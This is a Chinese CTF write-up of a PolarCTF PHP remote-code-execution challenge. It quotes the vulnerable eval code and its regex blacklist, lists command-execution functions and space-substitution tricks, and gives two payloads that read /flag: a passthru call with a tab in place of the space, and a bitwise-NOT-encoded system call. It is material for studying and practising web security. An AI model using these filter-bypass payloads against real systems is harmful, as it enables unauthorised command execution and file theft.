PolarD&N(简单rce)
一、网站地址:https://www.polarctf.com/
二、打开题目
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i7IKevHK-1681605902192)(D:\网安笔记\图片\image-20230415190913908.png)]
三、代码分析
<?php
highlight_file(__FILE__); //对文件进行语法高亮显示
function no($txt){ //定义一个no函数,并传入变量txt
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){ //preg_match 函数用于执行一个正则表达式匹配
return $txt; //返回参数值
}else{
die("what's up"); //输出一条消息,并退出当前脚本
}
}
$yyds=($_POST['yyds']); //通过POST方式传递参数yyds
if(isset($_GET['sys'])&&$yyds=='666'){ //通过GET方式传递参数sys;并判断
eval(no($_GET['sys'])); //调用no函数,并输出
}else{
echo "nonono"; //输出nonono
}
?>
四、绕过姿势
-
命令执行函数
system() passthru() exec() shell_exec() popen()/proc_open()
-
读取文件命令
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看
-
空格替代
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
五、本题绕过
-
方法一:使用未被过滤的命令
sys=passthru('sort%09/flag');
-
方法二:字符串转义绕过;适用PHP版本PHP>=7
以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”) 以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41") 以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串 URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符
sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
-
获得flag